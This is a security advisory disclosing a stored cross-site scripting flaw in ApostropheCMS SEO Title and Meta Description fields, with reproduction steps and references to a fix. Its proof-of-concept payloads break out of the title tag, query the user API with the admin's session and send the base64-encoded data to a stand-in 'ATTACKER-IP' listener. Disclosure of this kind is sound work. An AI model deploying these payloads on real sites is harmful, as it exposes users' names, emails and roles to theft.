Stored XSS in SEO Fields Leads to Authenticated API Data Exposure in ApostropheCMS
Summary
A stored cross-site scripting (XSS) vulnerability exists in SEO-related fields (SEO Title and Meta Description) in ApostropheCMS.
Improper neutralization of user-controlled input in SEO-related fields allows injection of arbitrary JavaScript into HTML contexts, resulting in stored cross-site scripting (XSS). This can be leveraged to perform authenticated API requests and exfiltrate sensitive data, resulting in a compromise of application confidentiality.
Affected Version
ApostropheCMS (tested on version: v4.28.0)
Vulnerability Details
User-controlled input in SEO fields is improperly handled and rendered into HTML contexts such as:
<title><meta> attributes- structured data (JSON-LD)
This allows attackers to inject and execute arbitrary JavaScript in the context of authenticated users.
PoC 1
The following payload demonstrates breaking out of HTML context:
```javascript
"></title><script>alert(1)</script>
```
This confirms:
- Improper output encoding
- Ability to escape
<title> / <meta> contexts - Arbitrary script execution
PoC 2
This PoC demonstrates how the stored XSS can be leveraged to perform authenticated API requests and exfiltrate sensitive data.
```javascript
"></title><script>
fetch('/api/v1/@apostrophecms/user', {
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
```
Video Proof of Concept
Watch the following YouTube video for a full demonstration of the exploit:
PoC Video: https://youtu.be/FZuulua_pa8
Steps to Reproduce
1. Start a local listener: python3 -m http.server 5656
2. Login to ApostropheCMS as an authenticated user
3. Create or edit a page
4. Navigate to SEO settings
5. Insert the payload into the SEO Title field and Meta Description
```javascript
"></title><script>
fetch('/api/v1/@apostrophecms/user',{
credentials:'include'
})
.then(r=>r.text())
.then(d=>{
fetch('http://ATTACKER-IP:5656/?data='+btoa(d))
})
</script>
```
6. Set Schema Type to "Web page"
7. Save and publish the page
8. Have an administrator visit the page
Result
- The payload executes in the admin’s browser
- The script sends a request to:
/api/v1/@apostrophecms/user - The response contains sensitive user data:
- usernames
- email addresses
- roles (including admin)
- The data is exfiltrated to the attacker-controlled server:
http://ATTACKER-IP:5656
Evidence
- The attacker server receives:
GET /?data=BASE64_ENCODED_RESPONSE- Decoding the response reveals sensitive application data.
This vulnerability allows an attacker to:
- Execute arbitrary JavaScript in an authenticated admin context
- Perform authenticated API requests (session riding)
- Access sensitive application data via internal APIs
- Exfiltrate sensitive data to an external attacker-controlled server
References
- Fix commit: https://github.com/apostrophecms/apostrophe/commit/0e57dd07a56ae1ba1e3af646ba026db4d0ab5bb3
- https://www.cve.org/CVERecord?id=CVE-2026-35569
- https://nvd.nist.gov/vuln/detail/CVE-2026-35569
- https://github.com/Chittu13/cve-research/tree/main/CVE-2026-35569
